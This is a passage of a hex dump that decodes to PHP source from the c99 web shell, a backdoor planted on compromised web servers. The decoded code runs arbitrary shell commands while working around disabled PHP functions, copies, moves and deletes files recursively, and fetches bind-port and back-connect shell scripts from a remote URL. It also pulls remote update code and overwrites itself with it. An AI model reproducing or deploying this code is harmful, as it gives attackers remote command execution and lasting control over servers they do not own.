69 73 5F 64 69 72 28 24 64 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 29 29 20 7B 24 72 65 74 20 3D 20 63 6F 70 79 28 24 64 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 2C 24 74 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 29 3B 7D 0A 20 20 20 65 6C 73 65 20 7B 69 66 20 28 6D 6B 64 69 72 28 24 74 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 29 20 61 6E 64 20 66 73 5F 63 6F 70 79 5F 64 69 72 28 24 64 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 2C 24 74 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2E 24 6F 29 29 20 7B 24 72 65 74 20 3D 20 66 61 6C 73 65 3B 7D 7D 0A 20 20 20 69 66 20 28 21 24 72 65 74 29 20 7B 72 65 74 75 72 6E 20 24 72 65 74 3B 7D 0A 20 20 7D 0A 20 7D 0A 20 63 6C 6F 73 65 64 69 72 28 24 68 29 3B 0A 20 72 65 74 75 72 6E 20 74 72 75 65 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 66 73 5F 6D 6F 76 65 5F 6F 62 6A 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 66 73 5F 6D 6F 76 65 5F 6F 62 6A 28 24 64 2C 24 74 29 0A 7B 0A 20 24 64 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 64 29 3B 0A 20 24 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 74 29 3B 0A 20 69 66 20 28 69 73 5F 64 69 72 28 24 64 29 29 0A 20 7B 0A 20 20 69 66 20 28 73 75 62 73 74 72 28 24 64 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 64 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 20 20 69 66 20 28 73 75 62 73 74 72 28 24 74 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 74 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 20 20 72 65 74 75 72 6E 20 66 73 5F 6D 6F 76 65 5F 64 69 72 28 24 64 2C 24 74 29 3B 0A 20 7D 0A 20 65 6C 73 65 69 66 20 28 69 73 5F 66 69 6C 65 28 24 64 29 29 0A 20 7B 0A 20 20 69 66 28 63 6F 70 79 28 24 64 2C 24 74 29 29 20 7B 72 65 74 75 72 6E 20 75 6E 6C 69 6E 6B 28 24 64 29 3B 7D 0A 20 20 65 6C 73 65 20 7B 75 6E 6C 69 6E 6B 28 24 74 29 3B 20 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 0A 20 7D 0A 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 66 73 5F 72 6D 64 69 72 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 66 73 5F 72 6D 64 69 72 28 24 64 29 0A 7B 0A 20 24 68 20 3D 20 6F 70 65 6E 64 69 72 28 24 64 29 3B 0A 20 77 68 69 6C 65 20 28 28 24 6F 20 3D 20 72 65 61 64 64 69 72 28 24 68 29 29 20 21 3D 3D 20 66 61 6C 73 65 29 0A 20 7B 0A 20 20 69 66 20 28 28 24 6F 20 21 3D 20 22 2E 22 29 20 61 6E 64 20 28 24 6F 20 21 3D 20 22 2E 2E 22 29 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 21 69 73 5F 64 69 72 28 24 64 2E 24 6F 29 29 20 7B 75 6E 6C 69 6E 6B 28 24 64 2E 24 6F 29 3B 7D 0A 20 20 20 65 6C 73 65 20 7B 66 73 5F 72 6D 64 69 72 28 24 64 2E 24 6F 2E 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 3B 20 72 6D 64 69 72 28 24 64 2E 24 6F 29 3B 7D 0A 20 20 7D 0A 20 7D 0A 20 63 6C 6F 73 65 64 69 72 28 24 68 29 3B 0A 20 72 6D 64 69 72 28 24 64 29 3B 0A 20 72 65 74 75 72 6E 20 21 69 73 5F 64 69 72 28 24 64 29 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 66 73 5F 72 6D 6F 62 6A 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 66 73 5F 72 6D 6F 62 6A 28 24 6F 29 0A 7B 0A 20 24 6F 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 5C 5C 22 2C 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 2C 24 6F 29 3B 0A 20 69 66 20 28 69 73 5F 64 69 72 28 24 6F 29 29 0A 20 7B 0A 20 20 69 66 20 28 73 75 62 73 74 72 28 24 6F 2C 2D 31 29 20 21 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 29 20 7B 24 6F 20 2E 3D 20 44 49 52 45 43 54 4F 52 59 5F 53 45 50 41 52 41 54 4F 52 3B 7D 0A 20 20 72 65 74 75 72 6E 20 66 73 5F 72 6D 64 69 72 28 24 6F 29 3B 0A 20 7D 0A 20 65 6C 73 65 69 66 20 28 69 73 5F 66 69 6C 65 28 24 6F 29 29 20 7B 72 65 74 75 72 6E 20 75 6E 6C 69 6E 6B 28 24 6F 29 3B 7D 0A 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 6D 79 73 68 65 6C 6C 65 78 65 63 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 24 63 6D 64 29 0A 7B 0A 20 67 6C 6F 62 61 6C 20 24 64 69 73 61 62 6C 65 66 75 6E 63 3B 0A 20 24 72 65 73 75 6C 74 20 3D 20 22 22 3B 0A 20 69 66 20 28 21 65 6D 70 74 79 28 24 63 6D 64 29 29 0A 20 7B 0A 20 20 69 66 20 28 69 73 5F 63 61 6C 6C 61 62 6C 65 28 22 65 78 65 63 22 29 20 61 6E 64 20 21 69 6E 5F 61 72 72 61 79 28 22 65 78 65 63 22 2C 24 64 69 73 61 62 6C 65 66 75 6E 63 29 29 20 7B 65 78 65 63 28 24 63 6D 64 2C 24 72 65 73 75 6C 74 29 3B 20 24 72 65 73 75 6C 74 20 3D 20 6A 6F 69 6E 28 22 5C 6E 22 2C 24 72 65 73 75 6C 74 29 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 28 24 72 65 73 75 6C 74 20 3D 20 60 24 63 6D 64 60 29 20 21 3D 3D 20 66 61 6C 73 65 29 20 7B 7D 0A 20 20 65 6C 73 65 69 66 20 28 69 73 5F 63 61 6C 6C 61 62 6C 65 28 22 73 79 73 74 65 6D 22 29 20 61 6E 64 20 21 69 6E 5F 61 72 72 61 79 28 22 73 79 73 74 65 6D 22 2C 24 64 69 73 61 62 6C 65 66 75 6E 63 29 29 20 7B 24 76 20 3D 20 40 6F 62 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 29 3B 20 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 20 73 79 73 74 65 6D 28 24 63 6D 64 29 3B 20 24 72 65 73 75 6C 74 20 3D 20 40 6F 62 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 29 3B 20 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 20 65 63 68 6F 20 24 76 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 69 73 5F 63 61 6C 6C 61 62 6C 65 28 22 70 61 73 73 74 68 72 75 22 29 20 61 6E 64 20 21 69 6E 5F 61 72 72 61 79 28 22 70 61 73 73 74 68 72 75 22 2C 24 64 69 73 61 62 6C 65 66 75 6E 63 29 29 20 7B 24 76 20 3D 20 40 6F 62 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 29 3B 20 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 20 70 61 73 73 74 68 72 75 28 24 63 6D 64 29 3B 20 24 72 65 73 75 6C 74 20 3D 20 40 6F 62 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 29 3B 20 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 20 65 63 68 6F 20 24 76 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 69 73 5F 72 65 73 6F 75 72 63 65 28 24 66 70 20 3D 20 70 6F 70 65 6E 28 24 63 6D 64 2C 22 72 22 29 29 29 0A 20 20 7B 0A 20 20 20 24 72 65 73 75 6C 74 20 3D 20 22 22 3B 0A 20 20 20 77 68 69 6C 65 28 21 66 65 6F 66 28 24 66 70 29 29 20 7B 24 72 65 73 75 6C 74 20 2E 3D 20 66 72 65 61 64 28 24 66 70 2C 31 30 32 34 29 3B 7D 0A 20 20 20 70 63 6C 6F 73 65 28 24 66 70 29 3B 0A 20 20 7D 0A 20 7D 0A 20 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 74 61 62 73 6F 72 74 22 29 29 20 7B 66 75 6E 63 74 69 6F 6E 20 74 61 62 73 6F 72 74 28 24 61 2C 24 62 29 20 7B 67 6C 6F 62 61 6C 20 24 76 3B 20 72 65 74 75 72 6E 20 73 74 72 6E 61 74 63 6D 70 28 24 61 5B 24 76 5D 2C 20 24 62 5B 24 76 5D 29 3B 7D 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 76 69 65 77 5F 70 65 72 6D 73 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 76 69 65 77 5F 70 65 72 6D 73 28 24 6D 6F 64 65 29 0A 7B 0A 20 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 43 30 30 30 29 20 3D 3D 3D 20 30 78 43 30 30 30 29 20 7B 24 74 79 70 65 20 3D 20 22 73 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 34 30 30 30 29 20 3D 3D 3D 20 30 78 34 30 30 30 29 20 7B 24 74 79 70 65 20 3D 20 22 64 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 41 30 30 30 29 20 3D 3D 3D 20 30 78 41 30 30 30 29 20 7B 24 74 79 70 65 20 3D 20 22 6C 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 38 30 30 30 29 20 3D 3D 3D 20 30 78 38 30 30 30 29 20 7B 24 74 79 70 65 20 3D 20 22 2D 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 36 30 30 30 29 20 3D 3D 3D 20 30 78 36 30 30 30 29 20 7B 24 74 79 70 65 20 3D 20 22 62 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 32 30 30 30 29 20 3D 3D 3D 20 30 78 32 30 30 30 29 20 7B 24 74 79 70 65 20 3D 20 22 63 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 31 30 30 30 29 20 3D 3D 3D 20 30 78 31 30 30 30 29 20 7B 24 74 79 70 65 20 3D 20 22 70 22 3B 7D 0A 20 65 6C 73 65 20 7B 24 74 79 70 65 20 3D 20 22 3F 22 3B 7D 0A 0A 20 24 6F 77 6E 65 72 5B 22 72 65 61 64 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 34 30 30 29 3F 22 72 22 3A 22 2D 22 3B 0A 20 24 6F 77 6E 65 72 5B 22 77 72 69 74 65 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 32 30 30 29 3F 22 77 22 3A 22 2D 22 3B 0A 20 24 6F 77 6E 65 72 5B 22 65 78 65 63 75 74 65 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 31 30 30 29 3F 22 78 22 3A 22 2D 22 3B 0A 20 24 67 72 6F 75 70 5B 22 72 65 61 64 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 34 30 29 3F 22 72 22 3A 22 2D 22 3B 0A 20 24 67 72 6F 75 70 5B 22 77 72 69 74 65 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 32 30 29 3F 22 77 22 3A 22 2D 22 3B 0A 20 24 67 72 6F 75 70 5B 22 65 78 65 63 75 74 65 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 31 30 29 3F 22 78 22 3A 22 2D 22 3B 0A 20 24 77 6F 72 6C 64 5B 22 72 65 61 64 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 30 34 29 3F 22 72 22 3A 22 2D 22 3B 0A 20 24 77 6F 72 6C 64 5B 22 77 72 69 74 65 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 30 32 29 3F 20 22 77 22 3A 22 2D 22 3B 0A 20 24 77 6F 72 6C 64 5B 22 65 78 65 63 75 74 65 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 30 31 29 3F 22 78 22 3A 22 2D 22 3B 0A 0A 20 69 66 20 28 24 6D 6F 64 65 20 26 20 30 78 38 30 30 29 20 7B 24 6F 77 6E 65 72 5B 22 65 78 65 63 75 74 65 22 5D 20 3D 20 28 24 6F 77 6E 65 72 5B 22 65 78 65 63 75 74 65 22 5D 20 3D 3D 20 22 78 22 29 3F 22 73 22 3A 22 53 22 3B 7D 0A 20 69 66 20 28 24 6D 6F 64 65 20 26 20 30 78 34 30 30 29 20 7B 24 67 72 6F 75 70 5B 22 65 78 65 63 75 74 65 22 5D 20 3D 20 28 24 67 72 6F 75 70 5B 22 65 78 65 63 75 74 65 22 5D 20 3D 3D 20 22 78 22 29 3F 22 73 22 3A 22 53 22 3B 7D 0A 20 69 66 20 28 24 6D 6F 64 65 20 26 20 30 78 32 30 30 29 20 7B 24 77 6F 72 6C 64 5B 22 65 78 65 63 75 74 65 22 5D 20 3D 20 28 24 77 6F 72 6C 64 5B 22 65 78 65 63 75 74 65 22 5D 20 3D 3D 20 22 78 22 29 3F 22 74 22 3A 22 54 22 3B 7D 0A 0A 20 72 65 74 75 72 6E 20 24 74 79 70 65 2E 6A 6F 69 6E 28 22 22 2C 24 6F 77 6E 65 72 29 2E 6A 6F 69 6E 28 22 22 2C 24 67 72 6F 75 70 29 2E 6A 6F 69 6E 28 22 22 2C 24 77 6F 72 6C 64 29 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 70 6F 73 69 78 5F 67 65 74 70 77 75 69 64 22 29 20 61 6E 64 20 21 69 6E 5F 61 72 72 61 79 28 22 70 6F 73 69 78 5F 67 65 74 70 77 75 69 64 22 2C 24 64 69 73 61 62 6C 65 66 75 6E 63 29 29 20 7B 66 75 6E 63 74 69 6F 6E 20 70 6F 73 69 78 5F 67 65 74 70 77 75 69 64 28 24 75 69 64 29 20 7B 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 70 6F 73 69 78 5F 67 65 74 67 72 67 69 64 22 29 20 61 6E 64 20 21 69 6E 5F 61 72 72 61 79 28 22 70 6F 73 69 78 5F 67 65 74 67 72 67 69 64 22 2C 24 64 69 73 61 62 6C 65 66 75 6E 63 29 29 20 7B 66 75 6E 63 74 69 6F 6E 20 70 6F 73 69 78 5F 67 65 74 67 72 67 69 64 28 24 67 69 64 29 20 7B 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 70 6F 73 69 78 5F 6B 69 6C 6C 22 29 20 61 6E 64 20 21 69 6E 5F 61 72 72 61 79 28 22 70 6F 73 69 78 5F 6B 69 6C 6C 22 2C 24 64 69 73 61 62 6C 65 66 75 6E 63 29 29 20 7B 66 75 6E 63 74 69 6F 6E 20 70 6F 73 69 78 5F 6B 69 6C 6C 28 24 67 69 64 29 20 7B 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 70 61 72 73 65 5F 70 65 72 6D 73 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 70 61 72 73 65 5F 70 65 72 6D 73 28 24 6D 6F 64 65 29 0A 7B 0A 20 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 43 30 30 30 29 20 3D 3D 3D 20 30 78 43 30 30 30 29 20 7B 24 74 20 3D 20 22 73 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 34 30 30 30 29 20 3D 3D 3D 20 30 78 34 30 30 30 29 20 7B 24 74 20 3D 20 22 64 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 41 30 30 30 29 20 3D 3D 3D 20 30 78 41 30 30 30 29 20 7B 24 74 20 3D 20 22 6C 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 38 30 30 30 29 20 3D 3D 3D 20 30 78 38 30 30 30 29 20 7B 24 74 20 3D 20 22 2D 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 36 30 30 30 29 20 3D 3D 3D 20 30 78 36 30 30 30 29 20 7B 24 74 20 3D 20 22 62 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 32 30 30 30 29 20 3D 3D 3D 20 30 78 32 30 30 30 29 20 7B 24 74 20 3D 20 22 63 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 28 24 6D 6F 64 65 20 26 20 30 78 31 30 30 30 29 20 3D 3D 3D 20 30 78 31 30 30 30 29 20 7B 24 74 20 3D 20 22 70 22 3B 7D 0A 20 65 6C 73 65 20 7B 24 74 20 3D 20 22 3F 22 3B 7D 0A 20 24 6F 5B 22 72 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 34 30 30 29 20 3E 20 30 3B 20 24 6F 5B 22 77 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 32 30 30 29 20 3E 20 30 3B 20 24 6F 5B 22 78 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 31 30 30 29 20 3E 20 30 3B 0A 20 24 67 5B 22 72 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 34 30 29 20 3E 20 30 3B 20 24 67 5B 22 77 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 32 30 29 20 3E 20 30 3B 20 24 67 5B 22 78 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 31 30 29 20 3E 20 30 3B 0A 20 24 77 5B 22 72 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 30 34 29 20 3E 20 30 3B 20 24 77 5B 22 77 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 30 32 29 20 3E 20 30 3B 20 24 77 5B 22 78 22 5D 20 3D 20 28 24 6D 6F 64 65 20 26 20 30 30 30 30 31 29 20 3E 20 30 3B 0A 20 72 65 74 75 72 6E 20 61 72 72 61 79 28 22 74 22 3D 3E 24 74 2C 22 6F 22 3D 3E 24 6F 2C 22 67 22 3D 3E 24 67 2C 22 77 22 3D 3E 24 77 29 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 70 61 72 73 65 73 6F 72 74 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 70 61 72 73 65 73 6F 72 74 28 24 73 6F 72 74 29 0A 7B 0A 20 24 6F 6E 65 20 3D 20 69 6E 74 76 61 6C 28 24 73 6F 72 74 29 3B 0A 20 24 73 65 63 6F 6E 64 20 3D 20 73 75 62 73 74 72 28 24 73 6F 72 74 2C 2D 31 29 3B 0A 20 69 66 20 28 24 73 65 63 6F 6E 64 20 21 3D 20 22 64 22 29 20 7B 24 73 65 63 6F 6E 64 20 3D 20 22 61 22 3B 7D 0A 20 72 65 74 75 72 6E 20 61 72 72 61 79 28 24 6F 6E 65 2C 24 73 65 63 6F 6E 64 29 3B 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 76 69 65 77 5F 70 65 72 6D 73 5F 63 6F 6C 6F 72 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 76 69 65 77 5F 70 65 72 6D 73 5F 63 6F 6C 6F 72 28 24 6F 29 0A 7B 0A 20 69 66 20 28 21 69 73 5F 72 65 61 64 61 62 6C 65 28 24 6F 29 29 20 7B 72 65 74 75 72 6E 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 72 65 64 3E 22 2E 76 69 65 77 5F 70 65 72 6D 73 28 66 69 6C 65 70 65 72 6D 73 28 24 6F 29 29 2E 22 3C 2F 66 6F 6E 74 3E 22 3B 7D 0A 20 65 6C 73 65 69 66 20 28 21 69 73 5F 77 72 69 74 61 62 6C 65 28 24 6F 29 29 20 7B 72 65 74 75 72 6E 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 77 68 69 74 65 3E 22 2E 76 69 65 77 5F 70 65 72 6D 73 28 66 69 6C 65 70 65 72 6D 73 28 24 6F 29 29 2E 22 3C 2F 66 6F 6E 74 3E 22 3B 7D 0A 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 22 2E 76 69 65 77 5F 70 65 72 6D 73 28 66 69 6C 65 70 65 72 6D 73 28 24 6F 29 29 2E 22 3C 2F 66 6F 6E 74 3E 22 3B 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 63 39 39 67 65 74 73 6F 75 72 63 65 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 63 39 39 67 65 74 73 6F 75 72 63 65 28 24 66 6E 29 0A 7B 0A 20 67 6C 6F 62 61 6C 20 24 63 39 39 73 68 5F 73 6F 75 72 63 65 73 75 72 6C 3B 0A 20 24 61 72 72 61 79 20 3D 20 61 72 72 61 79 28 0A 20 20 22 63 39 39 73 68 5F 62 69 6E 64 70 6F 72 74 2E 70 6C 22 20 3D 3E 20 22 63 39 39 73 68 5F 62 69 6E 64 70 6F 72 74 5F 70 6C 2E 74 78 74 22 2C 0A 20 20 22 63 39 39 73 68 5F 62 69 6E 64 70 6F 72 74 2E 63 22 20 3D 3E 20 22 63 39 39 73 68 5F 62 69 6E 64 70 6F 72 74 5F 63 2E 74 78 74 22 2C 0A 20 20 22 63 39 39 73 68 5F 62 61 63 6B 63 6F 6E 6E 2E 70 6C 22 20 3D 3E 20 22 63 39 39 73 68 5F 62 61 63 6B 63 6F 6E 6E 5F 70 6C 2E 74 78 74 22 2C 0A 20 20 22 63 39 39 73 68 5F 62 61 63 6B 63 6F 6E 6E 2E 63 22 20 3D 3E 20 22 63 39 39 73 68 5F 62 61 63 6B 63 6F 6E 6E 5F 63 2E 74 78 74 22 2C 0A 20 20 22 63 39 39 73 68 5F 64 61 74 61 70 69 70 65 2E 70 6C 22 20 3D 3E 20 22 63 39 39 73 68 5F 64 61 74 61 70 69 70 65 5F 70 6C 2E 74 78 74 22 2C 0A 20 20 22 63 39 39 73 68 5F 64 61 74 61 70 69 70 65 2E 63 22 20 3D 3E 20 22 63 39 39 73 68 5F 64 61 74 61 70 69 70 65 5F 63 2E 74 78 74 22 2C 0A 20 29 3B 0A 20 24 6E 61 6D 65 20 3D 20 24 61 72 72 61 79 5B 24 66 6E 5D 3B 0A 20 69 66 20 28 24 6E 61 6D 65 29 20 7B 72 65 74 75 72 6E 20 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 63 39 39 73 68 5F 73 6F 75 72 63 65 73 75 72 6C 2E 24 6E 61 6D 65 29 3B 7D 0A 20 65 6C 73 65 20 7B 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 0A 7D 0A 7D 0A 69 66 20 28 21 66 75 6E 63 74 69 6F 6E 5F 65 78 69 73 74 73 28 22 63 39 39 73 68 5F 67 65 74 75 70 64 61 74 65 22 29 29 0A 7B 0A 66 75 6E 63 74 69 6F 6E 20 63 39 39 73 68 5F 67 65 74 75 70 64 61 74 65 28 24 75 70 64 61 74 65 20 3D 20 74 72 75 65 29 0A 7B 0A 20 24 75 72 6C 20 3D 20 24 47 4C 4F 42 41 4C 53 5B 22 63 39 39 73 68 5F 75 70 64 61 74 65 75 72 6C 22 5D 2E 22 3F 76 65 72 73 69 6F 6E 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 24 47 4C 4F 42 41 4C 53 5B 22 73 68 76 65 72 22 5D 29 29 2E 22 26 75 70 64 61 74 65 6E 6F 77 3D 22 2E 28 24 75 70 64 61 74 65 6E 6F 77 3F 22 31 22 3A 22 30 22 29 2E 22 26 22 3B 0A 20 24 64 61 74 61 20 3D 20 40 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 75 72 6C 29 3B 0A 20 69 66 20 28 21 24 64 61 74 61 29 20 7B 72 65 74 75 72 6E 20 22 43 61 6E 27 74 20 63 6F 6E 6E 65 63 74 20 74 6F 20 75 70 64 61 74 65 2D 73 65 72 76 65 72 21 22 3B 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 24 64 61 74 61 20 3D 20 6C 74 72 69 6D 28 24 64 61 74 61 29 3B 0A 20 20 24 73 74 72 69 6E 67 20 3D 20 73 75 62 73 74 72 28 24 64 61 74 61 2C 33 2C 6F 72 64 28 24 64 61 74 61 7B 32 7D 29 29 3B 0A 20 20 69 66 20 28 24 64 61 74 61 7B 30 7D 20 3D 3D 20 22 5C 78 39 39 22 20 61 6E 64 20 24 64 61 74 61 7B 31 7D 20 3D 3D 20 22 5C 78 30 31 22 29 20 7B 72 65 74 75 72 6E 20 22 45 72 72 6F 72 3A 20 22 2E 24 73 74 72 69 6E 67 3B 20 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 7D 0A 20 20 69 66 20 28 24 64 61 74 61 7B 30 7D 20 3D 3D 20 22 5C 78 39 39 22 20 61 6E 64 20 24 64 61 74 61 7B 31 7D 20 3D 3D 20 22 5C 78 30 32 22 29 20 7B 72 65 74 75 72 6E 20 22 59 6F 75 20 61 72 65 20 75 73 69 6E 67 20 6C 61 74 65 73 74 20 76 65 72 73 69 6F 6E 21 22 3B 7D 0A 20 20 69 66 20 28 24 64 61 74 61 7B 30 7D 20 3D 3D 20 22 5C 78 39 39 22 20 61 6E 64 20 24 64 61 74 61 7B 31 7D 20 3D 3D 20 22 5C 78 30 33 22 29 0A 20 20 7B 0A 20 20 20 24 73 74 72 69 6E 67 20 3D 20 65 78 70 6C 6F 64 65 28 22 5C 78 30 31 22 2C 24 73 74 72 69 6E 67 29 3B 0A 20 20 20 69 66 20 28 24 75 70 64 61 74 65 29 0A 20 20 20 7B 0A 20 20 20 20 24 63 6F 6E 66 76 61 72 73 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 20 24 73 6F 75 72 63 65 75 72 6C 20 3D 20 24 73 74 72 69 6E 67 5B 30 5D 3B 0A 20 20 20 20 24 73 6F 75 72 63 65 20 3D 20 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 73 6F 75 72 63 65 75 72 6C 29 3B 0A 20 20 20 20 69 66 20 28 21 24 73 6F 75 72 63 65 29 20 7B 72 65 74 75 72 6E 20 22 43 61 6E 27 74 20 66 65 74 63 68 20 75 70 64 61 74 65 21 22 3B 7D 0A 20 20 20 20 65 6C 73 65 0A 20 20 20 20 7B 0A 20 20 20 20 20 24 66 70 20 3D 20 66 6F 70 65 6E 28 5F 5F 46 49 4C 45 5F 5F 2C 22 77 22 29 3B 0A 20 20 20 20 20 69 66 20 28 21 24 66 70 29 20 7B 72 65 74 75 72 6E 20 22 4C 6F 63 61 6C 20 65 72 72 6F 72 3A 20 63 61 6E 27 74 20 77 72 69 74 65 20 75 70 64 61 74 65 20 74 6F 20 22 2E 5F 5F 46 49 4C 